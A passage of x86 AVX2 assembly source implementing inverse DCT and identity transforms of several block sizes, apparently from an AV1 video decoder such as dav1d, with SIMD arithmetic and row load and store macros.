punpckldq m7, m1
punpcklqdq m1, m7, m4
punpckhqdq m7, m4 ; out9
punpckhqdq m4, m2, m8 ; out10
punpcklqdq m2, m8
punpckhqdq m8, m3, m5
punpcklqdq m3, m5
punpckhqdq m5, m0, m6 ; out8
punpcklqdq m0, m6
REPX {pmulhrsw x, m9}, m0, m1, m2, m3, m4, m5, m7
cmp eobd, 106
jg .full
mova [rsp+32*0], m5
mova [rsp+32*1], m7
mova [rsp+32*2], m4
pmulhrsw m11, m9, m8
pxor m4, m4
REPX {mova x, m4}, m5, m6, m7
call .main_fast
jmp .pass2
.dconly:
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_8192)]
mov [cq], eobd
pmulhrsw xm0, xm2
psrlw xm2, 2 ; pw_2048
pmulhrsw xm0, xm1
pmulhrsw xm0, xm2
vpbroadcastw m0, xm0
mov r2d, 8
jmp m(inv_txfm_add_dct_dct_8x8).end2
.full:
REPX {pmulhrsw x, m9}, m12, m13, m14, m15
pmulhrsw m6, m9, [rsp+32*2]
mova [rsp+32*2], m4
pmulhrsw m4, m9, [rsp+32*0]
mova [rsp+32*0], m5
pmulhrsw m5, m9, [rsp+32*1]
mova [rsp+32*1], m7
pmulhrsw m7, m9, m11
pmulhrsw m11, m9, m8
call .main
.pass2:
vpbroadcastd m12, [o(pw_2048)]
REPX {pmulhrsw x, m12}, m0, m1, m2, m3, m4, m5, m6, m7, \
m8, m9, m10, m11, m13, m14, m15
pmulhrsw m12, [rsp]
REPX {vpermq x, x, q3120}, m0, m2, m4, m6, m8, m10, m12, m14
REPX {vpermq x, x, q2031}, m1, m3, m5, m7, m9, m11, m13, m15
mova [rsp+32*0], m4
mova [rsp+32*1], m6
lea r3, [strideq*3]
WRITE_8X4 0, 1, 4, 6
lea dstq, [dstq+strideq*4]
WRITE_8X4 2, 3, 4, 6
lea dstq, [dstq+strideq*4]
WRITE_8X4 [rsp+32*0], 5, 4, 6
lea dstq, [dstq+strideq*4]
WRITE_8X4 [rsp+32*1], 7, 4, 6
lea dstq, [dstq+strideq*4]
WRITE_8X4 8, 9, 4, 6
lea dstq, [dstq+strideq*4]
WRITE_8X4 10, 11, 4, 6
lea dstq, [dstq+strideq*4]
WRITE_8X4 12, 13, 4, 6
lea dstq, [dstq+strideq*4]
WRITE_8X4 14, 15, 4, 6
RET
ALIGN function_align
.main_fast: ; bottom half is zero
call m(idct_8x16_internal).main
mova m8, [rsp+gprsize+0*32]
mova [rsp+gprsize+0*32], m0
mova m9, [rsp+gprsize+1*32]
mova [rsp+gprsize+1*32], m1
mova m0, [rsp+gprsize+2*32]
mova [rsp+gprsize+2*32], m6
lea r5, [rax-(o_base)+pw_201_4091x8]
ITX_UNPACK_MULHRSW 1, 8, 6, 201, 4091, m601, 4052 ; t16a, t31a, t23a, t24a
ITX_UNPACK_MULHRSW 15, 9, 6, 995, 3973, m1380, 3857 ; t20a, t27a, t19a, t28a
ITX_UNPACK_MULHRSW 14, 0, 6, 1751, 3703, m2106, 3513 ; t18a, t29a, t21a, t26a
ITX_UNPACK_MULHRSW 13, 11, 6, 2440, 3290, m2751, 3035 ; t22a, t25a, t17a, t30a
jmp .main2
ALIGN function_align
.main:
call m(idct_8x16_internal).main
mova m8, [rsp+gprsize+0*32]
mova [rsp+gprsize+0*32], m0
mova m9, [rsp+gprsize+1*32]
mova [rsp+gprsize+1*32], m1
mova m0, [rsp+gprsize+2*32]
mova [rsp+gprsize+2*32], m6
punpcklwd m1, m15, m8 ; in31 in1
punpckhwd m8, m15 ; in3 in29
punpcklwd m15, m14, m9 ; in27 in5
punpckhwd m9, m14 ; in7 in25
punpcklwd m14, m13, m0 ; in23 in9
punpckhwd m0, m13 ; in11 in21
punpcklwd m13, m12, m11 ; in19 in13
punpckhwd m11, m12 ; in15 in17
ITX_MUL2X_PACK 1, 6, 12, 10, 201, 4091, 3 ; t16a, t31a
ITX_MUL2X_PACK 8, 6, 12, 10, 4052, 601, 3 ; t23a, t24a
ITX_MUL2X_PACK 15, 6, 12, 10, 995, 3973, 3 ; t20a, t27a
ITX_MUL2X_PACK 9, 6, 12, 10, 3857, 1380, 3 ; t19a, t28a
ITX_MUL2X_PACK 14, 6, 12, 10, 1751, 3703, 3 ; t18a, t29a
ITX_MUL2X_PACK 0, 6, 12, 10, 3513, 2106, 3 ; t21a, t26a
ITX_MUL2X_PACK 13, 6, 12, 10, 2440, 3290, 3 ; t22a, t25a
ITX_MUL2X_PACK 11, 6, 12, 10, 3035, 2751, 3 ; t17a, t30a
.main2:
psubsw m6, m1, m11 ; t17 t30
paddsw m1, m11 ; t16 t31
psubsw m11, m9, m14 ; t18 t29
paddsw m9, m14 ; t19 t28
psubsw m14, m15, m0 ; t21 t26
paddsw m15, m0 ; t20 t27
psubsw m0, m8, m13 ; t22 t25
paddsw m8, m13 ; t23 t24
ITX_MUL2X_PACK 6, 12, 13, 10, 799, 4017, 3 ; t17a t30a
ITX_MUL2X_PACK 11, 12, 13, 10, m4017, 799, 3 ; t18a t29a
ITX_MUL2X_PACK 14, 12, 13, 10, 3406, 2276, 3 ; t21a t26a
ITX_MUL2X_PACK 0, 12, 13, 10, m2276, 3406, 3 ; t22a t25a
psubsw m13, m1, m9 ; t19a t28a
paddsw m1, m9 ; t16a t31a
psubsw m9, m8, m15 ; t20a t27a
paddsw m8, m15 ; t23a t24a
psubsw m15, m6, m11 ; t18 t29
paddsw m6, m11 ; t17 t30
psubsw m11, m0, m14 ; t21 t26
paddsw m0, m14 ; t22 t25
ITX_MUL2X_PACK 15, 12, 14, 10, 1567, 3784, 3 ; t18a t29a
ITX_MUL2X_PACK 13, 12, 14, 10, 1567, 3784, 3 ; t19 t28
ITX_MUL2X_PACK 9, 12, 14, 10, m3784, 1567, 3 ; t20 t27
ITX_MUL2X_PACK 11, 12, 14, 10, m3784, 1567, 3 ; t21a t26a
vbroadcasti128 m12, [o(deint_shuf)]
psubsw m14, m1, m8 ; t23 t24
paddsw m1, m8 ; t16 t31
psubsw m8, m6, m0 ; t22a t25a
paddsw m6, m0 ; t17a t30a
psubsw m0, m15, m11 ; t21 t26
paddsw m15, m11 ; t18 t29
psubsw m11, m13, m9 ; t20a t27a
paddsw m13, m9 ; t19a t28a
REPX {pshufb x, m12}, m1, m6, m15, m13
ITX_MUL2X_PACK 14, 9, 12, 10, 2896, 2896 ; t24a t23a
vpbroadcastd m9, [o(pw_m2896_2896)]
ITX_MUL2X_PACK 8, 12, _, 10, 12, 9, 4 ; t22 t25
vpbroadcastd m12, [o(pw_2896_2896)]
ITX_MUL2X_PACK 0, 12, _, 10, 12, 9, 4 ; t21a t26a
vpbroadcastd m12, [o(pw_2896_2896)]
ITX_MUL2X_PACK 11, 9, _, 10, 9, 12, 4 ; t27 t20
shufps m9, m14, m8, q1032 ; t23a t22
vpblendd m14, m8, 0xcc ; t24a t25
shufps m8, m11, m0, q1032 ; t20 t21a
vpblendd m11, m0, 0xcc ; t27 t26a
punpcklqdq m0, m1, m6 ; t16 t17a
punpckhqdq m1, m6 ; t31 t30a
psubsw m10, m5, m8 ; out20 out21
paddsw m5, m8 ; out11 out10
psubsw m6, m3, m14 ; out24 out25
paddsw m3, m14 ; out7 out6
psubsw m8, m7, m0 ; out16 out17
paddsw m7, m0 ; out15 out14
mova m0, [rsp+gprsize+0*32]
punpcklqdq m12, m13, m15 ; t19a t18
punpckhqdq m13, m15 ; t28a t29
psubsw m15, m0, m1 ; out31 out30
paddsw m0, m1 ; out0 out1
mova m1, [rsp+gprsize+1*32]
mova [rsp+gprsize+0*32], m6
mova m6, [rsp+gprsize+2*32]
psubsw m14, m1, m13 ; out28 out29
paddsw m1, m13 ; out3 out2
psubsw m13, m2, m11 ; out27 out26
paddsw m2, m11 ; out4 out5
psubsw m11, m4, m9 ; out23 out22
paddsw m4, m9 ; out8 out9
psubsw m9, m6, m12 ; out19 out18
paddsw m6, m12 ; out12 out13
ret
%macro LOAD_PACKED_16X2 4 ; dst, tmp, row[1-2]
vbroadcasti128 m%1, [cq+16*%3]
vbroadcasti128 m%2, [cq+16*%4]
shufpd m%1, m%1, m%2, 0x0c
%endmacro
cglobal inv_txfm_add_dct_dct_32x8, 4, 4, 0, dst, stride, c, eob
lea rax, [o_base]
test eobd, eobd
jnz .normal
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_8192)]
mov [cq], eobd
mov r2d, 8
.dconly:
pmulhrsw xm0, xm2
movd xm2, [pw_2048] ; intentionally rip-relative
pmulhrsw xm0, xm1
pmulhrsw xm0, xm2
vpbroadcastw m0, xm0
pxor m3, m3
.dconly_loop:
mova m1, [dstq]
punpckhbw m2, m1, m3
punpcklbw m1, m3
paddw m2, m0
paddw m1, m0
packuswb m1, m2
mova [dstq], m1
add dstq, strideq
dec r2d
jg .dconly_loop
RET
.normal:
PROLOGUE 0, 4, 16, 32*3, dst, stride, c, eob
%undef cmp
LOAD_PACKED_16X2 0, 7, 0, 2 ; in0 in2
LOAD_PACKED_16X2 4, 7, 1, 3 ; in1 in3
LOAD_PACKED_16X2 1, 7, 4, 6 ; in4 in6
LOAD_PACKED_16X2 5, 7, 5, 7 ; in5 in7
pxor m8, m8
REPX {mova [cq+32*x], m8}, 0, 1, 2, 3
add cq, 16*16
LOAD_PACKED_16X2 2, 7, -8, -6 ; in8 in10
LOAD_PACKED_16X2 6, 7, -7, -5 ; in9 in11
LOAD_PACKED_16X2 3, 7, -4, -2 ; in12 in14
LOAD_PACKED_16X2 11, 7, -3, -1 ; in13 in15
REPX {mova [cq+32*x], m8}, -4, -3, -2, -1
mova [rsp+32*0], m4
mova [rsp+32*1], m5
mova [rsp+32*2], m6
cmp eobd, 106
jg .full
pxor m4, m4
REPX {mova x, m4}, m5, m6, m7
call m(inv_txfm_add_dct_dct_8x32).main_fast
jmp .pass2
.full:
LOAD_PACKED_16X2 4, 7, 0, 2 ; in16 in18
LOAD_PACKED_16X2 12, 7, 3, 1 ; in19 in17
LOAD_PACKED_16X2 5, 7, 4, 6 ; in20 in22
LOAD_PACKED_16X2 13, 7, 7, 5 ; in23 in21
REPX {mova [cq+32*x], m8}, 0, 1, 2, 3
add cq, 16*8
LOAD_PACKED_16X2 6, 7, 0, 2 ; in24 in26
LOAD_PACKED_16X2 14, 7, 3, 1 ; in27 in25
LOAD_PACKED_16X2 7, 8, 4, 6 ; in28 in30
LOAD_PACKED_16X2 15, 8, 7, 5 ; in31 in29
pxor m8, m8
REPX {mova [cq+32*x], m8}, 0, 1, 2, 3
call m(inv_txfm_add_dct_dct_8x32).main
.pass2:
vpbroadcastd m12, [o(pw_8192)]
REPX {pmulhrsw x, m12}, m8, m9, m10, m11, m13, m14, m15
mova [rsp+32*1], m9
mova [rsp+32*2], m10
punpckhwd m9, m0, m2
punpcklwd m0, m2
punpckhwd m2, m1, m3
punpcklwd m1, m3
punpcklwd m10, m4, m6
punpckhwd m4, m6
punpcklwd m6, m5, m7
punpckhwd m5, m7
punpckhwd m3, m0, m9
punpcklwd m0, m9
punpckhwd m9, m2, m1
punpcklwd m2, m1
punpcklwd m7, m10, m4
punpckhwd m10, m4
punpcklwd m4, m5, m6
punpckhwd m5, m6
punpckhdq m1, m0, m2
punpckldq m0, m2
punpckldq m2, m3, m9
punpckhdq m3, m9
punpckldq m6, m7, m4
punpckhdq m7, m4
punpckldq m9, m10, m5
punpckhdq m10, m5
REPX {pmulhrsw x, m12}, m0, m1, m2, m3, m6, m7, m9, m10
pmulhrsw m12, [rsp+32*0]
mova [rsp+32*0], m8
vperm2i128 m4, m0, m6, 0x31
vinserti128 m0, m0, xm6, 1
vperm2i128 m5, m1, m7, 0x31
vinserti128 m1, m1, xm7, 1
vperm2i128 m6, m2, m9, 0x31
vinserti128 m2, m2, xm9, 1
vperm2i128 m7, m3, m10, 0x31
vinserti128 m3, m3, xm10, 1
call m(idct_16x8_internal).main
vpbroadcastd m8, [o(pw_2048)]
REPX {pmulhrsw x, m8}, m0, m1, m2, m3, m4, m5, m6, m7
lea r2, [strideq*3]
WRITE_16X2 0, 1, 8, 0, strideq*0, strideq*1
WRITE_16X2 2, 3, 0, 1, strideq*2, r2
lea r3, [dstq+strideq*4]
%define dstq r3
WRITE_16X2 4, 5, 0, 1, strideq*0, strideq*1
WRITE_16X2 6, 7, 0, 1, strideq*2, r2
mova m0, [rsp+32*0]
mova m1, [rsp+32*1]
mova m2, [rsp+32*2]
punpckhwd m7, m0, m2
punpcklwd m0, m2
punpckhwd m2, m1, m11
punpcklwd m1, m11
punpckhwd m4, m12, m14
punpcklwd m12, m14
punpckhwd m5, m13, m15
punpcklwd m13, m15
punpckhwd m3, m0, m7
punpcklwd m0, m7
punpckhwd m9, m2, m1
punpcklwd m2, m1
punpcklwd m7, m12, m4
punpckhwd m12, m4
punpcklwd m4, m5, m13
punpckhwd m5, m13
punpckhdq m1, m0, m2
punpckldq m0, m2
punpckldq m2, m3, m9
punpckhdq m3, m9
punpckldq m6, m7, m4
punpckhdq m7, m4
punpckldq m9, m12, m5
punpckhdq m12, m5
vperm2i128 m4, m0, m6, 0x31
vinserti128 m0, m0, xm6, 1
vperm2i128 m5, m1, m7, 0x31
vinserti128 m1, m1, xm7, 1
vperm2i128 m6, m2, m9, 0x31
vinserti128 m2, m2, xm9, 1
vperm2i128 m7, m3, m12, 0x31
vinserti128 m3, m3, xm12, 1
call m(idct_16x8_internal).main2
vpbroadcastd m8, [o(pw_2048)]
REPX {pmulhrsw x, m8}, m0, m1, m2, m3, m4, m5, m6, m7
add r0, 16
add r3, 16
%define dstq r0
WRITE_16X2 0, 1, 8, 0, strideq*0, strideq*1
WRITE_16X2 2, 3, 0, 1, strideq*2, r2
%define dstq r3
WRITE_16X2 4, 5, 0, 1, strideq*0, strideq*1
WRITE_16X2 6, 7, 0, 1, strideq*2, r2
RET
cglobal inv_txfm_add_identity_identity_8x32, 4, 5, 11, dst, stride, c, eob
vpbroadcastd m9, [pw_5]
lea r4, [strideq*3]
sub eobd, 107 ; loop_iterations = 1 + (eobd >= 107)
.loop:
mova xm0, [cq+16* 0]
mova xm1, [cq+16* 4]
vinserti128 m0, m0, [cq+16* 1], 1
vinserti128 m1, m1, [cq+16* 5], 1
pxor m8, m8
mova [cq+32*0], m8
mova [cq+32*2], m8
add cq, 16*16
mova xm2, [cq-16* 8]
mova xm3, [cq-16* 4]
vinserti128 m2, m2, [cq-16* 7], 1
vinserti128 m3, m3, [cq-16* 3], 1
mova xm4, [cq+16* 0]
mova xm5, [cq+16* 4]
vinserti128 m4, m4, [cq+16* 1], 1
vinserti128 m5, m5, [cq+16* 5], 1
mova xm6, [cq+16* 8]
mova xm7, [cq+16*12]
vinserti128 m6, m6, [cq+16* 9], 1
vinserti128 m7, m7, [cq+16*13], 1
REPX {mova [cq+32*x], m8}, -4, -2, 0, 2, 4, 6
REPX {paddsw x, m9}, m0, m1, m2, m3, m4, m5, m6, m7
call .transpose8x8
REPX {psraw x, 3 }, m0, m1, m2, m3, m4, m5, m6, m7
WRITE_8X4 0, 4, 8, 10, strideq*8, strideq*4, r4*4
add dstq, strideq
WRITE_8X4 1, 5, 0, 4, strideq*8, strideq*4, r4*4
add dstq, strideq
WRITE_8X4 2, 6, 0, 4, strideq*8, strideq*4, r4*4
add dstq, strideq
WRITE_8X4 3, 7, 0, 4, strideq*8, strideq*4, r4*4
add dstq, strideq
sub cq, 16*16-32
lea dstq, [dstq+r4*4]
add eobd, 0x80000000
jnc .loop
RET
ALIGN function_align
.transpose8x8:
punpckhwd m8, m4, m5
punpcklwd m4, m5
punpckhwd m5, m0, m1
punpcklwd m0, m1
punpckhwd m1, m6, m7
punpcklwd m6, m7
punpckhwd m7, m2, m3
punpcklwd m2, m3
punpckhdq m3, m0, m2
punpckldq m0, m2
punpckldq m2, m4, m6
punpckhdq m4, m6
punpckhdq m6, m5, m7
punpckldq m5, m7
punpckldq m7, m8, m1
punpckhdq m8, m1
punpckhqdq m1, m0, m2
punpcklqdq m0, m2
punpcklqdq m2, m3, m4
punpckhqdq m3, m4
punpcklqdq m4, m5, m7
punpckhqdq m5, m7
punpckhqdq m7, m6, m8
punpcklqdq m6, m8
ret
cglobal inv_txfm_add_identity_identity_32x8, 4, 6, 10, dst, stride, c, eob
add cq, 16*8
vpbroadcastd m9, [pw_4096]
lea r4, [strideq*3]
lea r5, [dstq+strideq*4]
sub eobd, 107
.loop:
mova xm0, [cq-16*8]
mova xm1, [cq-16*7]
vinserti128 m0, m0, [cq+16*0], 1
vinserti128 m1, m1, [cq+16*1], 1
mova xm2, [cq-16*6]
mova xm3, [cq-16*5]
vinserti128 m2, m2, [cq+16*2], 1
vinserti128 m3, m3, [cq+16*3], 1
mova xm4, [cq-16*4]
mova xm5, [cq-16*3]
vinserti128 m4, m4, [cq+16*4], 1
vinserti128 m5, m5, [cq+16*5], 1
mova xm6, [cq-16*2]
mova xm7, [cq-16*1]
vinserti128 m6, m6, [cq+16*6], 1
vinserti128 m7, m7, [cq+16*7], 1
pxor m8, m8
REPX {mova [cq+32*x], m8}, -4, -3, -2, -1, 0, 1, 2, 3
call m(inv_txfm_add_identity_identity_8x32).transpose8x8
REPX {pmulhrsw x, m9}, m0, m1, m2, m3, m4, m5, m6, m7
WRITE_16X2 0, 1, 8, 0, strideq*0, strideq*1
WRITE_16X2 2, 3, 0, 1, strideq*2, r4
%define dstq r5
WRITE_16X2 4, 5, 0, 1, strideq*0, strideq*1
WRITE_16X2 6, 7, 0, 1, strideq*2, r4
add cq, 16*16
add r0, 16
add r5, 16
add eobd, 0x80000000
jnc .loop
RET
%define o_base pw_5 + 128
%macro LOAD_16ROWS 2-4 0, 1 ; src, stride, is_rect2, zero_coefs
%if %3
vpbroadcastd m15, [o(pw_2896x8)]
pmulhrsw m0, m15, [%1+%2* 0]
pmulhrsw m1, m15, [%1+%2* 1]
pmulhrsw m2, m15, [%1+%2* 2]
pmulhrsw m3, m15, [%1+%2* 3]
pmulhrsw m4, m15, [%1+%2* 4]
pmulhrsw m5, m15, [%1+%2* 5]
pmulhrsw m6, m15, [%1+%2* 6]
pmulhrsw m7, m15, [%1+%2* 7]
pmulhrsw m8, m15, [%1+%2* 8]
pmulhrsw m9, m15, [%1+%2* 9]
pmulhrsw m10, m15, [%1+%2*10]
pmulhrsw m11, m15, [%1+%2*11]
pmulhrsw m12, m15, [%1+%2*12]
pmulhrsw m13, m15, [%1+%2*13]
pmulhrsw m14, m15, [%1+%2*14]
pmulhrsw m15, [%1+%2*15]
%else
mova m0, [%1+%2* 0]
mova m1, [%1+%2* 1]
mova m2, [%1+%2* 2]
mova m3, [%1+%2* 3]
mova m4, [%1+%2* 4]
mova m5, [%1+%2* 5]
mova m6, [%1+%2* 6]
mova m7, [%1+%2* 7]
mova m8, [%1+%2* 8]
mova m9, [%1+%2* 9]
mova m10, [%1+%2*10]
mova m11, [%1+%2*11]
mova m12, [%1+%2*12]
mova m13, [%1+%2*13]
mova m14, [%1+%2*14]
mova m15, [%1+%2*15]
%endif
mova [rsp], m15
%if %4
pxor m15, m15
REPX {mova [%1+%2*x], m15}, 0, 1, 2, 3, 4, 5, 6, 7, \
8, 9, 10, 11, 12, 13, 14, 15
%endif
%endmacro
%macro IDCT32_PASS2_END 7 ; coefs[1-2], tmp[1-2], rnd, offset[1-2]
mova m%4, [%2]
paddsw m%3, m%1, m%4
psubsw m%1, m%4
pmovzxbw m%4, [dstq+%6]
pmulhrsw m%3, m%5
pmulhrsw m%1, m%5
paddw m%3, m%4
pmovzxbw m%4, [r2+%7]
paddw m%1, m%4
packuswb m%3, m%1
vpermq m%3, m%3, q3120
mova [dstq+%6], xm%3
vextracti128 [r2+%7], m%3, 1
%endmacro
cglobal inv_txfm_add_dct_dct_16x32, 4, 4, 0, dst, stride, c, eob
lea rax, [o_base]
test eobd, eobd
jz .dconly
PROLOGUE 0, 8, 16, 32*35, dst, stride, c, eob, tmp1, tmp2, \
base, tmp3
%undef cmp
LOAD_16ROWS cq, 64, 1
call m(idct_16x16_internal).main
lea tmp1q, [rsp+32*7]
lea tmp2q, [tmp1q+32*8]
lea tmp3q, [tmp1q+32*16]
mova m1, [rsp+32*1]
mova [rsp+32*0], m6
mova [rsp+32*1], m7
vpbroadcastd m7, [o(pw_16384)]
call .transpose_2x8x8_round
mova m15, [rsp+32*0]
mova [tmp3q-32*4+ 0], xm0
vextracti128 [tmp3q+32*0+ 0], m0, 1
mova [tmp3q-32*3+ 0], xm2
vextracti128 [tmp3q+32*1+ 0], m2, 1
mova [tmp3q-32*2+ 0], xm4
vextracti128 [tmp3q+32*2+ 0], m4, 1
mova [tmp3q-32*1+ 0], xm6
vextracti128 [tmp3q+32*3+ 0], m6, 1
mova [tmp3q-32*4+16], xm8
vextracti128 [tmp3q+32*0+16], m8, 1
mova [tmp3q-32*3+16], xm10
vextracti128 [tmp3q+32*1+16], m10, 1
mova [tmp3q-32*2+16], xm12
vextracti128 [tmp3q+32*2+16], m12, 1
mova [tmp3q-32*1+16], xm14
vextracti128 [tmp3q+32*3+16], m14, 1
cmp eobd, 150
jg .full
vinserti128 m0, m1, xm9, 1
vperm2i128 m4, m1, m9, 0x31
vinserti128 m2, m5, xm13, 1
vperm2i128 m6, m5, m13, 0x31
vinserti128 m1, m3, xm11, 1
vperm2i128 m5, m3, m11, 0x31
vinserti128 m3, m7, xm15, 1
vperm2i128 m7, m7, m15, 0x31
call .main_oddhalf_fast
pxor m8, m8
REPX {mova x, m8}, m9, m10, m11, m12, m13, m14, m15
jmp .idct16
.dconly:
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_16384)]
mov [cq], eobd
pmulhrsw xm0, xm1
mov r2d, 16
jmp m(inv_txfm_add_dct_dct_16x4).dconly
.full:
mova [tmp1q-32*4], m1
mova [tmp1q-32*3], m3
mova [tmp1q-32*2], m5
mova [tmp1q-32*1], m7
mova [tmp1q+32*0], m9
mova [tmp1q+32*1], m11
mova [tmp1q+32*2], m13
mova [tmp1q+32*3], m15
LOAD_16ROWS cq+32, 64, 1
call m(idct_16x16_internal).main
lea r2, [tmp3q+32*8]
mova m1, [rsp+32*1]
mova [rsp+32*0], m6
mova [rsp+32*1], m7
vpbroadcastd m7, [o(pw_16384)]
call .transpose_2x8x8_round
mova m15, [rsp+32*0]
mova [r2-32*4+ 0], xm0
vextracti128 [r2+32*0+ 0], m0, 1
mova [r2-32*3+ 0], xm2
vextracti128 [r2+32*1+ 0], m2, 1
mova [r2-32*2+ 0], xm4
vextracti128 [r2+32*2+ 0], m4, 1
mova [r2-32*1+ 0], xm6
vextracti128 [r2+32*3+ 0], m6, 1
mova [r2-32*4+16], xm8
vextracti128 [r2+32*0+16], m8, 1
mova [r2-32*3+16], xm10
vextracti128 [r2+32*1+16], m10, 1
mova [r2-32*2+16], xm12
vextracti128 [r2+32*2+16], m12, 1
mova [r2-32*1+16], xm14
vextracti128 [r2+32*3+16], m14, 1
vinserti128 m8, m1, xm9, 1
vperm2i128 m12, m1, m9, 0x31
mova xm0, [tmp1q-32*4]
mova xm1, [tmp1q-32*3]
vinserti128 m0, m0, [tmp1q+32*0], 1
vinserti128 m1, m1, [tmp1q+32*1], 1
vinserti128 m10, m5, xm13, 1
vperm2i128 m14, m5, m13, 0x31
mova xm4, [tmp1q-32*4+16]
mova xm5, [tmp1q-32*3+16]
vinserti128 m4, m4, [tmp1q+32*0+16], 1
vinserti128 m5, m5, [tmp1q+32*1+16], 1
vinserti128 m9, m3, xm11, 1
vperm2i128 m13, m3, m11, 0x31
mova xm2, [tmp1q-32*2]
mova xm3, [tmp1q-32*1]
vinserti128 m2, m2, [tmp1q+32*2], 1
vinserti128 m3, m3, [tmp1q+32*3], 1
vinserti128 m11, m7, xm15, 1
vperm2i128 m15, m7, m15, 0x31
mova xm6, [tmp1q-32*2+16]
mova xm7, [tmp1q-32*1+16]
vinserti128 m6, m6, [tmp1q+32*2+16], 1
vinserti128 m7, m7, [tmp1q+32*3+16], 1
call .main_oddhalf
LOAD_8ROWS_H r2-32*4, 32
.idct16:
LOAD_8ROWS tmp3q-32*4, 32
mova [rsp], m15
call m(idct_16x16_internal).main
imul r2, strideq, 19
lea r3, [strideq*3]
add r2, dstq
call .pass2_end
RET
ALIGN function_align
.main_oddhalf_fast: ; lower half is zero
mova [rsp+gprsize+32*1], m7
pxor m7, m7
mova [rsp+gprsize+32*0], m7
mova [rsp+gprsize+32*2], m7
vpbroadcastd m11, [o(pw_3703x8)]
vpbroadcastd m7, [o(pw_1751x8)]
vpbroadcastd m12, [o(pw_m1380x8)]
vpbroadcastd m8, [o(pw_3857x8)]
vpbroadcastd m13, [o(pw_3973x8)]
vpbroadcastd m15, [o(pw_995x8)]
pmulhrsw m11, m4 ; t29a
pmulhrsw m4, m7 ; t18a
pmulhrsw m12, m3 ; t19a
pmulhrsw m3, m8 ; t28a
pmulhrsw m13, m2 ; t27a
pmulhrsw m2, m15 ; t20a
vpbroadcastd m10, [o(pw_m2106x8)]
vpbroadcastd m7, [o(pw_3513x8)]
vpbroadcastd m9, [o(pw_3290x8)]
vpbroadcastd m8, [o(pw_2440x8)]
vpbroadcastd m14, [o(pw_m601x8)]
vpbroadcastd m15, [o(pw_4052x8)]
pmulhrsw m10, m5 ; t21a
pmulhrsw m5, m7 ; t26a
pmulhrsw m9, m6 ; t25a
pmulhrsw m6, m8 ; t22a
pmulhrsw m14, m1 ; t23a
pmulhrsw m1, m15 ; t24a
vpbroadcastd m15, [o(pd_2048)]
jmp .main2
ALIGN function_align
.main_oddhalf:
mova [rsp+gprsize+32*0], m15
mova [rsp+gprsize+32*1], m7
mova [rsp+gprsize+32*2], m8
vpbroadcastd m15, [o(pd_2048)]
ITX_MULSUB_2W 4, 11, 7, 8, 15, 1751, 3703 ; t18a, t29a
ITX_MULSUB_2W 12, 3, 7, 8, 15, 3857, 1380 ; t19a, t28a
ITX_MULSUB_2W 2, 13, 7, 8, 15, 995, 3973 ; t20a, t27a
ITX_MULSUB_2W 10, 5, 7, 8, 15, 3513, 2106 ; t21a, t26a
ITX_MULSUB_2W 6, 9, 7, 8, 15, 2440, 3290 ; t22a, t25a
ITX_MULSUB_2W 14, 1, 7, 8, 15, 4052, 601 ; t23a, t24a
.main2:
psubsw m7, m12, m4 ; t18
paddsw m12, m4 ; t19
psubsw m4, m2, m10 ; t21
paddsw m2, m10 ; t20
psubsw m10, m14, m6 ; t22
paddsw m14, m6 ; t23
psubsw m6, m1, m9 ; t25
paddsw m1, m9 ; t24
psubsw m9, m13, m5 ; t26
paddsw m13, m5 ; t27
psubsw m5, m3, m11 ; t29
paddsw m3, m11 ; t28
ITX_MULSUB_2W 5, 7, 8, 11, 15, m4017, 799 ; t18a, t29a
ITX_MULSUB_2W 9, 4, 8, 11, 15, 3406, 2276 ; t21a, t26a
ITX_MULSUB_2W 6, 10, 8, 11, 15, m2276, 3406 ; t22a, t25a
psubsw m8, m14, m2 ; t20a
paddsw m14, m2 ; t23a
psubsw m2, m1, m13 ; t27a
paddsw m1, m13 ; t24a
psubsw m13, m6, m9 ; t21
paddsw m6, m9 ; t22
psubsw m9, m10, m4 ; t26
paddsw m10, m4 ; t25
ITX_MULSUB_2W 2, 8, 4, 11, 15, m3784, 1567 ; t20, t27
ITX_MULSUB_2W 9, 13, 4, 11, 15, m3784, 1567 ; t21a, t26a
mova m4, [rsp+gprsize+32*0] ; in31
mova [rsp+gprsize+32*0], m6 ; t22
mova m6, [rsp+gprsize+32*1] ; in15
mova [rsp+gprsize+32*1], m14 ; t23a
mova m14, [rsp+gprsize+32*2] ; in17
mova [rsp+gprsize+32*2], m1 ; t24a
ITX_MULSUB_2W 0, 4, 1, 11, 15, 201, 4091 ; t16a, t31a
ITX_MULSUB_2W 14, 6, 1, 11, 15, 3035, 2751 ; t17a, t30a
psubsw m1, m0, m14 ; t17
paddsw m0, m14 ; t16
psubsw m14, m4, m6 ; t30
paddsw m4, m6 ; t31
ITX_MULSUB_2W 14, 1, 6, 11, 15, 799, 4017 ; t17a, t30a
psubsw m6, m0, m12 ; t19a
paddsw m0, m12 ; t16a
psubsw m12, m4, m3 ; t28a
paddsw m4, m3 ; t31a
psubsw m3, m14, m5 ; t18
paddsw m14, m5 ; t17
psubsw m5, m1, m7 ; t29
paddsw m1, m7 ; t30
ITX_MULSUB_2W 5, 3, 7, 11, 15, 1567, 3784 ; t18a, t29a
ITX_MULSUB_2W 12, 6, 7, 11, 15, 1567, 3784 ; t19, t28
psubsw m7, m1, m10 ; t25a
paddsw m1, m10 ; t30a
psubsw m10, m5, m9 ; t21
paddsw m5, m9 ; t18
psubsw m9, m12, m2 ; t20a
paddsw m12, m2 ; t19a
psubsw m2, m3, m13 ; t26
paddsw m3, m13 ; t29
psubsw m13, m6, m8 ; t27a
paddsw m6, m8 ; t28a
mova [tmp1q-32*2], m5
mova [tmp1q-32*1], m12
mova [tmp2q+32*0], m6
mova [tmp2q+32*1], m3
mova [tmp2q+32*2], m1
mova m5, [rsp+gprsize+32*0] ; t22
mova m6, [rsp+gprsize+32*1] ; t23
mova m3, [rsp+gprsize+32*2] ; t24a
psubsw m1, m14, m5 ; t22a
paddsw m14, m5 ; t17a
psubsw m5, m0, m6 ; t23
paddsw m0, m6 ; t16
psubsw m6, m4, m3 ; t24
paddsw m4, m3 ; t31
vpbroadcastd m8, [o(pw_m2896_2896)]
vpbroadcastd m3, [o(pw_2896_2896)]
mova [tmp1q-32*4], m0
mova [tmp1q-32*3], m14
mova [tmp2q+32*3], m4
ITX_MULSUB_2W 13, 9, 0, 4, 15, 3, 8 ; t20, t27
